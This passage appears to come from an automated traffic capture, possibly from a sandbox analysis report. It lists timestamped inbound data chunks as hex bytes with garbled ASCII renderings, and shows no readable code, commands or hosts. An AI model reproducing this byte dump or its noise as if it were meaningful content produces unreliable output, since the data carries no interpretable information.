ac 5b 02 f3 19 9a 05 fa d5 19 4d 47 a6 09 46 63 ef 5a 7d 4c ae 55 f9 Data Ascii: p?F].+(GEJ{2soP=z=NpIjq=D/d>JXb-0m}ROn9z?2}5R%O)c*`jw^U7nq\25.Q5zc8wcCV#H`QU+erCY8>fDO(dNTy;tstZ[MGFcZ}LU
2022-01-13 19:22:46 UTC	650	IN	Data Raw: b8 84 93 b7 35 33 3f e2 93 fa 4c ad 67 e3 52 cc e4 a7 9c 02 aa 29 4f ec e1 13 c6 cf 7e a5 84 42 25 03 06 a6 0b 6f d9 1d 7b d4 ba c8 ec b9 06 a8 64 8e 2d 8d eb 31 7f 1e 0b 3e f8 e0 a5 ce 3a 9f c7 61 d6 27 3a fd e3 cd b3 b7 55 ab b5 80 77 21 fd 77 f7 83 ae 55 7e 8f cc fb c4 33 47 5d f4 84 9c ec 6f 20 b3 f4 a2 c3 03 07 cd ce 8a ce ff 38 26 b0 36 05 3d d9 72 50 e0 db a7 85 c6 de 37 19 6a 91 e3 1b 9b 90 cf d0 04 bd 5d 70 a9 b7 b7 b7 b2 db d1 1b f1 aa 05 31 85 5f 6c 2d 9a 18 e4 37 bc c0 dc 3a 8b a1 3f b3 bc 9e a9 43 a4 a6 12 55 09 de 2a 1d ea b4 70 d1 96 c3 44 5c 63 7a 39 c3 95 48 d3 71 27 ed 24 b2 8f ec bb 45 59 62 5f 99 fc 4a d6 9d 91 7d 7d 3d b6 40 36 04 b3 57 80 2d 80 59 71 0a 13 6b f4 27 9e 1d 09 36 0c 42 51 25 ed 4d 75 25 e6 2b 31 83 6b 85 79 3a 3c 3e 53 Data Ascii: 53?LgR)O~B%o{d-1>:a':Uw!wU~3G]o 8&6=rP7j]p1_l-7:?CU*pD\cz9Hq'$EYb_J}}=@6W-Yqk'6BQ%Mu%+1ky:<>S
2022-01-13 19:22:46 UTC	654	IN	Data Raw: 9e 27 7a 87 67 d8 61 78 b8 34 0d d9 01 9f ed f2 a8 1e 62 90 61 fd eb 04 9d 4a 64 83 c1 52 d1 10 d5 88 ec 7c 5f 78 b0 28 00 e0 79 01 78 6d fe 52 cb 7f c8 d5 05 f3 55 b0 c4 aa 25 eb 25 24 5f fd 86 99 4e bb 56 ef 31 df 20 07 b0 f2 f6 22 76 a3 83 00 1c b5 ca 3e 8a 2b 8a 49 42 5f ee 82 2e c8 13 a6 16 54 f5 48 f6 db 1c bc 21 83 d0 e7 37 28 6e 08 9e d9 bd 3b b3 b5 b9 22 8d fd 03 f6 fd 5d 7f ce e2 9a a6 74 18 83 73 ac 2b 88 49 20 df 7f d1 ad 4c 29 91 fb dc 2f 33 4e 7d fa e8 50 db 19 c9 e4 09 7f 2b 43 0c b7 a4 1e 7f a0 6f fd 47 87 65 f1 29 91 fe 8b 79 b7 1a b7 57 84 4d 58 e6 fb 39 d5 33 5c 43 0f df 16 4d 80 1c ec dd cb 80 ec b9 4e ca 70 54 98 c6 19 6f f1 28 16 44 4d 12 13 88 8b 34 f8 4a cd 64 14 84 5f 14 89 39 dc 8a 50 d0 79 e6 d7 16 8d 0e 2d 90 6b 1a 1a 47 80 0a Data Ascii: 'zgax4baJdR\|_x(yxmRU%%$_NV1 "v>+IB_.TH!7(n;"]ts+I L)/3N}P+CoGe)yWMX93\CMNpTo(DM4Jd_9Py-kG
2022-01-13 19:22:46 UTC	658	IN	Data Raw: 08 b8 3b f8 a9 bb 56 97 1e 17 31 8a 24 59 cd 14 31 f3 d4 80 19 f7 ab 17 ce 89 35 60 07 8a 93 e4 8e 68 d0 38 08 c5 37 1b 14 35 55 da 48 b1 b0 ad c0 95 dc ed fb b9 31 22 c5 e6 35 8e 9c 69 db 66 42 87 b8 4a 53 95 96 f5 c4 a5 8b bd 78 8b 05 b7 34 9a da 23 94 31 33 f2 8c 2c 19 00 2f fe 09 1b 36 55 99 f8 57 d2 95 8c b2 b7 df 03 fe ac 98 b9 28 34 46 7e aa be 17 db 18 ba a1 40 0a 76 d5 e5 4b 18 2a 90 01 ca 84 40 3c 25 9d 0c c8 6c a5 28 e3 29 cc 46 03 e0 3d 55 7a b3 76 92 06 06 39 90 59 fd 68 aa a9 aa ce 49 cc 81 bb 3e 2d 5d 0a 51 5c e9 31 85 7a 99 a3 ba ed 25 0b a7 47 a1 dc 18 26 89 a5 4a 95 14 dd be fc b4 a2 7d cf 07 c5 74 1a 69 e1 96 64 68 5e 2d fb ad 55 85 12 4f b5 a3 1d 65 79 b2 2e 7f cd 8f 2a 6c e9 5e 9c 9b 0e a0 0f cb 59 9f bf 60 07 58 df f4 6e 77 9f 00 af Data Ascii: ;V1$Y15`h875UH1"5ifBJSx4#13,/6UW(4F~@vK@<%l()F=Uzv9YhI>-]Q\1z%G&J}tidh^-UOey.l^Y`Xnw
2022-01-13 19:22:46 UTC	662	IN	Data Raw: 88 b9 c0 57 e6 e6 a4 90 6d e0 28 a1 6c 29 79 b5 9f 75 1a d0 4e 22 df 0d 82 3b 18 6e 76 b9 bb b5 de 09 2f 5a 9f 6b e2 1e f6 1c d6 ab 9b 47 ab ae f5 b9 d6 45 bf de c9 f7 32 38 ac 3d e8 5f 0c 70 23 5a d3 c3 52 d6 14 9e e6 40 b2 5f 7f 7a 6c 69 3b 4f a3 fe 61 66 bb 2d 5e 23 86 e9 7e b5 bd 59 d3 71 d5 42 c3 7a d8 5a 94 a6 a8 f0 50 ed e2 17 3d 04 c3 b7 07 3e 2f 9d d5 1c 9b a6 ed 4b f0 37 2a a8 9f d9 5d 76 55 14 6d 42 36 64 e9 23 5f 82 7f 7a a0 03 c5 11 55 2f 3a 58 81 8f 46 1a 14 1b 64 c5 2a c4 f2 6b 94 77 20 ea ad da 48 a6 b0 75 aa 73 47 b2 9a a2 9d 80 52 b3 0e 45 54 f1 23 07 bb 03 be 0e 29 69 a3 87 6f c0 e4 6f 96 1c 4e 9c 84 63 63 8f e3 3c c2 8d 82 eb 1e 63 03 27 b5 ca 6d 2a ad 79 cd 2c 15 df a0 f3 b4 07 ad c2 35 60 7b 9a 2a 36 ae 21 95 2a 62 49 35 a7 12 30 68 Data Ascii: Wm(l)yuN";nv/ZkGE28=_p#ZR@_zli;Oaf-^#~YqBzZP=>/K7]vUmB6d#_zU/:XFdkw HusGRET#)iooNcc<c'my,5`{6!*bI50h
2022-01-13 19:22:46 UTC	665	IN	Data Raw: 86 ea 34 07 0e 82 b6 41 71 87 29 7d d8 ab 30 f0 0d 88 22 aa 4c c8 f5 ad 28 1f 7e c2 83 0f c9 7e 4e cf df 45 94 b3 e8 0e a5 d6 34 be bd 78 30 6c da 1d 64 e9 69 ad 8b 95 7c 05 f0 0a 37 bc 2c 5d af b0 f4 a2 dc 1d 32 32 68 30 99 a3 d9 d2 c4 90 53 7c b4 05 c0 c6 d2 29 7e 89 eb 38 80 7e 4f 7a d7 1d 57 1d 1b e9 5e 94 3f 6e 80 9d 4c be d6 37 8f b4 ce ac 71 e0 ae 6f 3b 25 d0 31 2e ef f2 1c c7 48 a8 7c 8c 7b ed cf 25 68 af af 29 39 7c f0 6d 67 6a a2 4e 09 78 2f 7d 5b e6 16 94 bf 8d fa 13 0b fe 61 bc f5 03 35 70 56 30 bd 0a aa 70 4f 4b e9 e6 96 6d c2 88 bf f5 f6 17 7c 15 07 81 54 c6 9f b7 b3 17 34 b6 35 7b c1 d5 e6 0b 24 ae 83 ad e1 cc a3 77 42 34 86 c1 30 56 e0 05 50 9f d4 d7 b6 9f dc 99 7c b5 56 f4 ea 5f d2 e1 6e fa b8 41 59 19 5b d7 95 9e 3c f2 d0 3d a0 ca 9f 20 Data Ascii: 4Aq)}0"L(~~NE4x0ldi\|7,]22h0S\|)~8~OzW^?nL7qo;%1.H\|{%h)9\|mgjNx/}[a5pV0pOKm\|T45{$wB40VP\|V_nAY[<=
2022-01-13 19:22:46 UTC	669	IN	Data Raw: c6 84 6b c8 4c ad 62 75 96 8e d6 a8 93 c1 37 10 e8 6d 35 54 36 46 ea a7 ed 56 b8 ff f1 a2 b7 f6 e6 a2 ee 47 af b8 fd 2f db b2 78 ed ea 14 72 3c 77 33 51 bc 90 c6 bd cd 23 13 b1 cb be cf 82 5e fb 83 8b a7 20 97 4c 71 b8 86 c2 f3 df 97 81 f2 14 61 66 9e dd d7 c8 e4 10 ae 0e 8c a3 e0 f8 a3 18 f3 eb 12 dd 78 11 a0 b8 55 25 50 80 53 89 11 0c 17 de 52 50 04 23 69 39 a6 4a 94 31 b2 4c fe 5f 9b f1 3c db 7f d7 1a f3 e9 7b c1 db c0 4a dd c3 ef 41 03 45 5f be 83 45 45 b0 df 79 3a 6d 2b 2e a1 08 4b d5 96 d1 4b d1 b4 e0 d7 d1 09 41 46 40 ff e2 da 4a b4 cb e1 07 ad ed 0a e7 48 62 5d 55 3d 83 0d b1 7d f8 3b e5 6a 9f 5a 0b 89 7f db 93 5a b5 b2 f0 a8 f2 a0 ef 6e 66 82 a9 5b cb e7 b7 24 09 52 fa 98 42 a4 80 e1 0d 87 4d 91 31 19 b6 07 40 8f 75 32 47 cf c8 ca 13 8d 48 4c f3 Data Ascii: kLbu7m5T6FVG/xr<w3Q#^ LqafxU%PSRP#i9J1L_<{JAE_EEy:m+.KKAF@JHb]U=};jZZnf[$RBM1@u2GHL
2022-01-13 19:22:46 UTC	673	IN	Data Raw: 1b cf 8e 8e 56 d9 b5 f6 b1 7e 56 d8 ec 8b 8b 40 4c a7 5c 93 ba c5 f2 a7 8c b9 79 18 54 37 29 7a 8e 26 8f db ad 9a a6 68 3d 60 49 1f d1 9a f8 9d 71 ab 03 03 ab 2b 2a 65 d5 98 b5 76 7e 7f 63 4d 8e c8 32 ac 88 bb 7d 36 c2 57 44 90 98 16 70 c8 23 b9 ce f9 46 dd 2b 27 28 cd a2 c8 69 10 01 40 a2 07 88 59 e5 09 d6 49 a3 91 12 1d 38 2d 83 6e db 3b 5f 68 6d b9 67 7d 84 f1 09 a3 51 1f a5 1d 33 e3 3c 18 3e b9 1b 51 37 7c b4 92 33 a9 ec 6f 6f b3 19 83 00 30 e6 6b eb 66 c6 82 28 69 e0 f4 04 f6 39 c2 f6 e9 a7 ba 0a 64 13 cb f5 8e 05 f7 db b0 dc 77 cd bd ff 13 58 4a 63 68 9f 5a d5 21 24 0e a4 34 12 d3 99 a1 b6 c5 10 47 45 51 e6 66 04 d6 01 ef d2 12 a4 9a 53 c2 ab 4f d5 9c db 70 f8 8e e7 73 c6 a0 33 a0 73 38 67 2b 90 70 94 12 ff be 43 27 c7 31 46 b1 41 60 9d 78 f8 1e 4e Data Ascii: V~V@L\yT7)z&h=`Iq+*ev~cM2}6WDp#F+'(i@YI8-n;_hmg}Q3<>Q7\|3oo0kf(i9dwXJchZ!$4GEQfSOps3s8g+pC'1FA`xN
2022-01-13 19:22:46 UTC	677	IN	Data Raw: e8 f9 df e0 d0 f6 5e 13 af 2d 92 7d 84 6a c5 23 fd 7f 63 57 e8 04 07 1c fe 89 2d 05 0d 4e 83 83 ea c0 86 8c 7f 76 c1 c1 30 8d 21 a5 53 0a d6 ca 34 94 09 6b fe 79 c8 f6 af f8 e3 04 6c 92 40 bb 9f c6 3d b8 35 13 7f ad d6 a4 63 95 67 de 4b a8 de 8a 31 17 2f a9 28 01 ff 8b 7a 73 ae e6 6b 2f 00 fd 27 75 64 40 7b 04 ca 7a a6 5e 0e f3 45 97 b3 ab 26 ed c9 8c 1e 34 1e 6e a5 36 bf 16 9d 47 14 ac 6e 4e fc 06 7b 2d 33 6a a3 19 77 35 0a 41 41 98 07 d3 9e 65 84 df f2 58 81 f0 74 a8 d1 e1 bd 23 3e 98 50 83 cb a5 af ba 26 49 42 a7 50 a9 51 c6 c4 c3 d7 af 78 53 70 12 1c 2e a0 42 4b df 4b 1d ff 62 1b db fd 36 3c dd 75 a7 48 c9 bb 7b 71 f7 89 2a 92 ea 77 a7 3a 18 fd 0a 14 bd 50 a4 67 4b f1 7d ce 20 00 36 57 26 20 ec 51 bc 3b cd bf 48 fe 75 b2 31 bf da b1 8c 1a ee 4c 07 54 Data Ascii: ^-}j#cW-Nv0!S4kyl@=5cgK1/(zsk/'ud@{z^E&4n6GnN{-3jw5AAeXt#>P&IBPQxSp.BKKb6<uH{q*w:PgK} 6W& Q;Hu1LT
2022-01-13 19:22:46 UTC	682	IN	Data Raw: 72 93 04 9e 2a 29 96 30 d8 ca 49 87 e1 d0 52 40 88 31 b8 15 f6 74 b8 3a 2e 42 1e 5d 06 cb 7e 06 b7 17 94 e1 79 48 c2 eb ec 8f c5 63 1f 10 64 3d 00 3b 77 0f 86 97 8b ee b5 aa e3 61 19 0e 0e f4 3e 5f 8f a8 91 37 c7 1e 3c bd 94 6f 2b 55 05 bc 57 b1 86 06 b4 49 8f 36 5b 74 0c 12 08 3b d1 78 ac 1e 0f 41 80 91 8e 11 df df 10 4c 89 26 c0 e3 85 a6 0e 5e f1 0d 1a 9f 70 79 7e 3d 8c e5 93 87 ad 8e 98 c1 63 8f bf da bc a4 45 bc 02 9b de 88 82 99 50 3f 3c 71 a3 d2 c4 e7 74 c8 07 45 2c 48 72 d7 90 62 2b 4f 48 7a a7 ea 51 60 47 21 40 6c 27 af ba be fe 4b 07 ca c5 f9 ee 4e b0 fa 69 6f 24 f7 a9 41 55 96 a8 5a c2 b5 26 bd 1f 75 12 40 41 a9 ef c2 e0 ee 7f 49 03 b8 8c db a2 9f 57 ba 99 97 9a 18 67 61 52 5d 42 42 57 fa 2b 40 b5 59 45 a6 d6 11 5d 53 f6 f4 7d c8 bb e8 4c d6 6c Data Ascii: r*)0IR@1t:.B]~yHcd=;wa>_7<o+UWI6[t;xAL&^py~=cEP?<qtE,Hrb+OHzQ`G!@l'KNio$AUZ&u@AIWgaR]BBW+@YE]S}Ll
2022-01-13 19:22:46 UTC	686	IN	Data Raw: ed c1 a2 31 2d 2d 6b f5 e9 51 c7 0f eb c5 98 11 42 15 78 43 26 c3 f7 e4 92 88 6a d7 f5 21 35 ff 89 c5 d2 11 20 3a 3a a8 b8 5c 74 5c 6d e5 45 13 e4 ad 46 da 68 e9 a3 be d3 48 06 53 7f 64 02 bc 18 56 b3 7a b6 e7 fd 31 93 33 e8 f6 42 b4 e7 35 ee 92 ad 54 2a 97 0b 80 50 da a0 4d 3a 01 0b 59 08 a4 5c 90 8d 75 3a 3d 9a 37 e4 41 d4 ae f1 0e b1 dd de a2 38 d9 62 8f 22 b7 5b 05 c7 fb c7 80 4c ed 40 ac 4c 84 0b 2c dd 73 38 48 37 4b a0 00 47 3a 9a 02 d2 d8 f6 dc cc 0c 29 26 36 8a 91 ed d0 7b 4c 01 cd 08 28 41 fb 11 4e 91 89 d7 1b 9d ae 0a ee 50 e8 58 19 b5 7d 97 5a 44 c0 af 7f f6 d3 0a 99 76 46 5f a2 f9 06 8a 65 ee 50 d1 f7 1f 0a 4f 1d 7a df 12 26 5c 5e 4b 5d 10 8b cd d2 68 2f ed 2e 0b 4f a0 82 5d 7b 60 9c 97 6f 64 e9 48 54 6d 91 5a f5 0c ae c2 42 ad 42 39 c5 74 78 Data Ascii: 1--kQBxC&j!5 ::\t\mEFhHSdVz13B5T*PM:Y\u:=7A8b"[L@L,s8H7KG:)&6{L(ANPX}ZDvF_ePOz&\^K]h/.O]{`odHTmZBB9tx
2022-01-13 19:22:46 UTC	690	IN	Data Raw: 0e a0 39 ca 96 17 4b 7e d3 aa 43 88 2c 35 4e 37 9a 77 d6 1c 62 d2 88 fe aa 19 ae 64 1d 25 fb de 66 48 bb 44 41 c0 b8 1d 05 c7 bd 07 3f 47 c4 26 d0 65 5b 07 c5 f8 7d 7c b6 32 bf 20 fe 09 77 45 42 55 ea 25 65 f0 a4 85 67 8b de 7a 43 d9 1f 9e b0 59 27 72 7f 2d 74 0e 8f 65 10 89 e8 d9 6e 0b 7b 85 3c a6 9b 97 cf be 68 00 da 7b 59 db ef c0 32 12 79 80 8d c9 b9 6f 62 aa fd 61 af 6a 9c 51 bc e6 70 c2 5b 22 f0 7a 26 56 b9 03 9a 85 a5 e8 64 ed 8b 35 f5 44 22 c7 74 8a 4b 17 bb 8c 72 98 45 54 59 77 7a 96 95 1b 2e 5d f3 1e df 9b a7 00 54 e1 dd b4 e8 d5 6a 9c 7a 84 c6 93 7d 52 ee 53 f3 04 e5 b8 ea e7 86 ad 41 10 94 2f 28 88 f3 27 e0 fa 13 af 78 87 a8 e1 70 e9 b4 ca 01 52 c4 f5 be 90 7a d1 32 a2 c4 42 98 87 57 f8 51 7b 43 ba 27 e5 77 cf 16 e6 b5 c3 e2 71 03 cc 02 1d 63 Data Ascii: 9K~C,5N7wbd%fHDA?G&e[}\|2 wEBU%egzCY'r-ten{<h{Y2yobajQp["z&Vd5D"tKrETYwz.]Tjz}RSA/('xpRz2BWQ{C'wqc
2022-01-13 19:22:46 UTC	694	IN	Data Raw: c9 cc 30 db b6 24 31 23 2c 07 8f be 69 27 29 2a 78 68 9a 33 2c 52 d3 59 fa 8f dd 17 fd 87 ec 06 5c 48 24 24 c6 da 15 4d 98 ca 09 61 fc c7 b4 2d b0 5e 9a 5f 8f b9 64 7d 66 8b 8e cd 9b b9 a4 62 e8 39 43 9f fc 23 d9 a7 42 67 58 83 df 2f e9 68 3b e8 37 6b 82 27 49 ea c1 1a 05 c4 31 76 c2 ec 21 0c 69 1f bc af 5b eb 67 96 a1 a0 db 67 b5 52 81 b2 5f e0 f9 aa b7 7b 2c c3 5b 41 be a2 bf 7e ba af 6c dd de 57 4b e8 5d 80 87 5d ce 5b 50 76 f0 77 43 90 45 01 71 ed 47 e2 37 5c b6 56 11 9a 4a d9 0e 50 27 78 bf a4 99 57 4c bf 70 a8 4b a3 6c 47 e9 6f 36 66 6f 85 a9 e1 b6 72 17 e3 1c b4 d3 b7 95 cf 38 82 62 38 3e cf 6f 06 e4 8c df cd be 58 3f a1 8e fd 9a ac c9 1e 92 66 cc 5f f1 82 f4 90 f3 0a 51 b9 43 74 e4 62 98 dd 78 50 78 98 e5 a3 f1 f9 7d 92 20 95 15 c0 5d dc 37 d0 03 Data Ascii: 0$1#,i')*xh3,RY\H$$Ma-^_d}fb9C#BgX/h;7k'I1v!i[ggR_{,[A~lWK]][PvwCEqG7\VJP'xWLpKlGo6for8b8>oX?f_QCtbxPx} ]7
2022-01-13 19:22:46 UTC	697	IN	Data Raw: 30 a3 a2 09 ab be 8a 36 f5 0c d5 74 3c 9d 40 5a 09 45 bb 5a ab f0 28 f0 ff e3 35 2e 27 b8 f1 81 28 b2 2e b8 bc c1 34 55 73 a7 e6 7e f0 68 01 b2 74 22 60 28 0c 6f ee a5 72 42 12 24 8a 7a 76 60 ba 33 db b9 a6 45 07 4d 8a 10 9e eb 30 b9 44 86 6a 3b 88 c2 b2 af c9 f3 db 01 09 b9 90 86 ef bb bc e6 c2 f8 48 e4 e4 ec a7 41 4a 92 98 f9 fb 9c 33 4d a6 0a 7a a0 84 27 18 91 4b 42 4a 65 74 fd 4d b5 e7 6d 05 47 18 5d 71 79 ff 07 44 aa 6b 3f 68 d4 c7 03 5c be 2e 69 2a bb 75 01 ad f2 7c 4a ef 51 04 03 7a c1 47 53 43 81 82 a6 1f 5b 69 0e be 86 8f 79 21 e5 42 69 15 56 5a 68 35 d4 31 3d bb 32 b3 84 42 26 b6 d0 27 c3 e0 8c 7b 07 e5 f6 5a 68 4b 2a 8f d3 a2 e2 1e 72 89 1f 2c 29 b8 fa 8a b9 82 8a 56 47 23 d8 72 15 75 08 b0 a7 c1 4b 86 fc 1f 17 42 92 a5 3b d6 f0 3b d5 18 1b b9 Data Ascii: 06t<@ZEZ(5.'(.4Us~ht"`(orB$zv`3EM0Dj;HAJ3Mz'KBJetMmG]qyDk?h\.iu\|JQzGSC[iy!BiVZh51=2B&'{ZhKr,)VG#ruKB;;
2022-01-13 19:22:46 UTC	701	IN	Data Raw: 3c 30 7b 1c 08 b5 1e 28 e1 e0 a6 68 2e 96 67 c6 7b 8c b7 bd 55 15 88 df ed e7 6e 7b e0 85 07 d5 f2 34 88 db 57 d2 63 5d 69 5e 3f 9b e5 32 0a bb b3 61 2f d9 51 ce dc c9 22 e4 a0 12 54 22 a3 8f 4b 73 2b 31 6c 5e b7 c7 ae db 73 b3 98 d9 34 b2 16 e0 15 e7 57 e5 82 08 68 4f b7 0a ed c1 36 5d 9d 04 39 51 53 a4 da bf 7e 1e 80 4e e0 e3 e6 4c ff 50 de 89 e1 4b e1 f7 9b a5 15 1b b1 da ee a1 72 1a dc 21 74 a2 2f ac 40 d5 45 2c f7 34 96 1b b6 83 a7 54 86 0f 79 94 cd f6 02 ac f6 36 96 48 d5 8d 3d cf 71 f5 8f f4 12 48 7f 7b b7 d6 69 49 a7 fb fb de 02 30 61 ed 76 4e 67 3a 1a f2 28 b7 84 53 f5 32 82 b5 f1 52 e0 e4 2a 56 18 92 92 5c 0c 1b 2c a2 09 29 80 70 2e b4 a9 13 c3 45 af 70 82 04 f3 92 1a f1 0f cf d9 c7 45 16 2a 26 8b 40 9a 23 bb f3 69 ed e0 62 df 44 ae ef be 4e 4c Data Ascii: <0{(h.g{Un{4Wc]i^?2a/Q"T"Ks+1l^s4WhO6]9QS~NLPKr!t/@E,4Ty6H=qH{iI0avNg:(S2RV\,)p.EpE&@#ibDNL
2022-01-13 19:22:46 UTC	705	IN	Data Raw: ad 8d 56 8a d1 ea fc 09 87 0f 99 eb 98 a3 d4 82 6e 6b 8e 63 2f c4 30 88 39 17 70 70 81 77 25 5e 8b 5d 24 b2 91 9c b9 7f 47 fa a2 26 ab 42 71 83 e6 14 da 64 0e 7e 86 d1 eb 41 67 77 23 81 0d 06 03 46 3b 88 ec 37 36 36 fd 2d 34 50 67 6e e3 ef ae 5e 23 74 e1 a7 96 1a f7 cb 39 c0 91 7f 34 d5 fa 1f 2e 30 6e 0e aa bb a7 f2 0e 92 b8 de 33 35 17 64 98 1d e9 6e 73 65 81 ac be 96 59 9b 26 92 78 f7 9d 82 9b 6e 84 41 10 6b c8 f1 85 34 03 dc b4 72 c5 b3 65 21 14 7d 2b d6 52 11 be 41 58 d3 c0 0c b4 0b 9d 8d b9 00 c6 1a 73 8c 2d 17 d3 c7 c7 9a ed f7 27 f7 43 da 90 e6 98 49 25 da 7e af b6 c0 db cb 0a f3 03 27 c3 b9 57 3a 4b 97 51 63 11 fa 04 aa f5 f3 14 ed f6 86 59 37 3f e9 37 1a e2 a0 07 46 44 5b 63 bc 1a 69 9c 8e d3 d2 2d 49 02 89 3d 20 44 9f 07 90 bf ae 03 19 d4 05 b3 Data Ascii: Vnkc/09ppw%^]$G&Bqd~Agw#F;766-4Pgn^#t94.0n35dnseY&xnAk4re!}+RAXs-'CI%~'W:KQcY7?7FD[ci-I= D
2022-01-13 19:22:46 UTC	709	IN	Data Raw: b0 1d 7d a0 b5 63 a2 7c 4a f5 f1 f6 3d 12 e5 fc 44 0b 9a bb 8c 03 66 19 43 fa dc 7d f6 21 1d 20 e5 86 18 32 13 ec da 17 11 06 a3 b7 4b 3d 8a c4 8a 0c d6 61 6d 64 e7 97 17 1f 63 39 b7 d6 7e a0 b4 42 83 8d 24 fe 62 56 6b fb ac c7 a9 f9 50 bb 20 05 4c 51 78 d2 04 e8 e2 c5 26 aa ff 99 04 72 da bf d6 70 de 3a 8f f6 2c 8a 29 a7 12 09 a0 c5 b3 0c c4 37 54 46 2b a3 1f 5e 25 c9 20 85 3d 19 6d e9 d1 f0 c2 a1 03 d6 a0 05 94 3f c3 47 8d e9 42 8d 47 1e fd 4f d7 db d9 53 f4 73 ab d7 dd bb 8d 8b 19 6f 6f 71 29 ae d8 fb 7c 95 3c 00 47 49 c1 74 d3 7b 52 67 b8 2f 50 c4 46 f9 88 2c a7 06 73 50 af cd 4e 2e 90 3c 1e 15 79 29 1d 26 f4 35 07 74 de e0 5b 5d cb 97 e1 40 8e 6c be 08 25 52 c7 85 cd 46 2a 09 00 c6 d7 4d f2 1d e9 e8 b1 4a f7 7d 37 e2 57 87 0b f8 a9 d8 8d e0 17 3b ca Data Ascii: }c\|J=DfC}! 2K=amdc9~B$bVkP LQx&rp:,)7TF+^% =m?GBGOSsooq)\|<GIt{Rg/PF,sPN.<y)&5t[]@l%RF*MJ}7W;
2022-01-13 19:22:46 UTC	713	IN	Data Raw: a5 03 13 28 4f 2b 27 75 cd 87 8b 54 2c c8 94 2c 11 de 53 1d 8e 0d 48 52 af 06 df 6f 5d bd d1 2a bb 8c 5d a7 33 61 92 27 9a 80 21 30 a3 d7 67 0b 55 16 c1 11 12 74 dc db 3f c8 ad 94 32 06 4b a4 76 72 62 85 7a d8 30 bb 06 3b d9 f4 ff 22 2e 69 02 ae 17 a5 84 f5 a1 b2 c6 2d a3 c3 a0 83 34 1b ec f8 76 f2 11 70 c3 dd 97 5b 95 15 2d 3d 0d 61 88 d1 a5 30 6c d0 7f 28 11 45 e7 0c dc e3 1b 7c b8 53 68 71 65 a6 f1 bb b5 c1 3b 8a 67 83 17 f2 a3 1d a1 73 a4 dd d8 0e 23 8c f8 89 fc 4b e7 11 be 2b e2 40 b7 98 be ad 4c e4 51 f1 e9 8e 63 67 78 6d 6f b9 04 d8 73 ac 05 c8 57 63 bf 37 f7 03 2b 98 4e c2 84 4c bb 9a 0d 75 5c a9 16 b2 96 22 f0 ac 1a 0e 86 0d ef 53 11 1c de 66 11 7a 7a de a8 71 bf aa bd 4b 94 72 ea 8f 0a 3d f9 35 c3 23 f3 30 b4 43 f9 c9 7a 53 f6 c9 ab 6b 1e ed bd Data Ascii: (O+'uT,,SHRo]*]3a'!0gUt?2Kvrbz0;".i-4vp[-=a0l(E\|Shqe;gs#K+@LQcgxmosWc7+NLu\"SfzzqKr=5#0CzSk
2022-01-13 19:22:46 UTC	717	IN	Data Raw: 39 c4 38 1e 05 97 42 df b0 40 6c 73 31 a6 3c d8 d6 88 5c ed 60 fd 77 f1 d2 5d 8b 5d 65 e7 61 33 df 52 be e4 eb 41 67 69 76 46 18 4a 5d 72 33 d9 f1 0c 8e a9 0e c4 86 e8 b7 b7 66 3e 5f 43 79 1e 5c 38 f2 93 df 84 b3 00 3c d1 ff f8 cd 92 ff 26 63 de d1 e5 4b a0 fd 45 24 62 be db 00 67 03 02 e3 38 2a 54 79 de 9c 7e ae 5a a4 c2 5d 84 bc b0 88 3a bd 69 3d b1 1b 69 0a 79 88 b3 0f 49 3f 39 bb 8f 5c a1 ce 49 01 3c fc fb 06 6a e3 58 42 e3 b8 fd 93 84 a9 c0 0b 50 33 32 8f 51 cd 2d a1 6d dd 1a e8 2a 63 92 ac 65 77 a8 31 a7 43 6a 3f f7 99 15 a5 84 79 93 53 7c fe a2 7f 7f 4c f4 51 e9 43 b1 9c d8 fa 3f a2 79 19 33 9c ea d2 64 e1 40 03 51 bb 5c aa fc e4 0b c2 05 df e0 af 48 0f 9b 3d 4f 7c bf 4a 36 bb 6a 5a 51 6e e5 2d c4 08 73 23 d5 76 21 51 89 6a ff da 17 35 96 11 f6 40 Data Ascii: 98B@ls1<\`w]]ea3RAgivFJ]r3f>_Cy\8<&cKE$bg8Ty~Z]:i=iyI?9\I<jXBP32Q-mcew1Cj?yS\|LQC?y3d@Q\H=O\|J6jZQn-s#v!Qj5@
2022-01-13 19:22:46 UTC	722	IN	Data Raw: a0 34 cb cd 7c 09 0e 13 9d bc ed 07 11 b5 b8 40 07 36 08 64 8c 63 af b5 f9 98 00 63 1f 92 af 06 7d 2d e0 7c fa ab d0 e4 5e 2d 3f 62 b7 a0 65 84 75 6c d4 f0 84 32 db 39 03 e2 5f 2e 6e d0 c8 9f 13 04 00 44 95 cb b7 df 7d bd b0 50 00 8a 9c 0c be ce 3e f2 ae 5a 49 d6 ae 49 ba 9e 37 c1 69 1e cb 85 92 18 ce 77 0b 51 9e 3a 43 74 a7 0e fe 92 a4 1d 53 aa 0f af ba b1 3c 31 4f 7c 92 1a d8 7b 6c a1 8e 50 bb 96 fe d8 ef 81 28 c0 e1 67 80 96 03 4a 27 e1 35 42 1f 2e 04 41 d4 77 70 56 44 30 42 a8 b7 99 ad 76 eb 20 8e 80 8f f7 92 4a fb 2b 28 1c 6f 4f 8c 05 da e8 4c cf 09 af 42 97 76 d5 83 4e 53 78 b1 08 8e ce d3 82 37 97 61 25 0c a7 e5 17 6e b4 19 b5 32 88 87 94 00 08 dc 90 97 7b cb 68 55 87 dd 8e e7 85 28 60 e3 f2 6c fd 03 26 8f 61 7d bb d0 8b e4 f5 77 7d e7 21 3b de e1 Data Ascii: 4\|@6dcc}-\|^-?beul29_.nD}P>ZII7iwQ:CtS<1O\|{lP(gJ'5B.AwpVD0Bv J+(oOLBvNSx7a%n2{hU(`l&a}w}!;
2022-01-13 19:22:46 UTC	726	IN	Data Raw: a0 f9 5f 89 5b 82 cf 81 41 4b ce 03 d2 0a 46 30 e6 56 16 ab 6a 61 be 3e 09 c9 55 96 5c 01 0a 4c c8 11 dd e3 16 aa 20 9c 79 c6 ae db 65 f5 a6 e5 7b ca b7 4f 1f 1e 2a f7 73 d4 4d a0 a2 fc f6 ba 20 9c e1 e8 75 d9 d0 06 61 8c 8e 90 aa d2 31 66 4d a0 ca 16 64 74 90 97 c2 24 47 b4 1a 90 4e 25 de 62 a1 7d 20 9f 90 97 e2 6d 09 ca eb c1 5b 80 47 b4 36 ee cb 98 00 59 19 2e 7d cd 02 5d 1e 9b 9b 0e 27 0f 95 03 76 5c a7 68 de 62 2d 7a 1e 9b 7b c9 e5 d2 01 da 8e 92 6b e5 5f 8a 21 01 ae d9 88 a5 69 d0 34 db 15 16 99 ba 04 42 86 a2 9d 71 d8 74 58 18 bb b4 d7 f6 94 9d 51 a9 56 17 e4 50 e0 69 24 86 7a 47 65 f6 5e 09 2a f4 48 36 1d 